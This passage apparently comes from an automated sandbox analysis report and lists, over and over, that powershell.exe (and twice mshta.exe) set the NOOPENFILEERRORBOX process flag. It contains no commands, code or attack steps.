Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
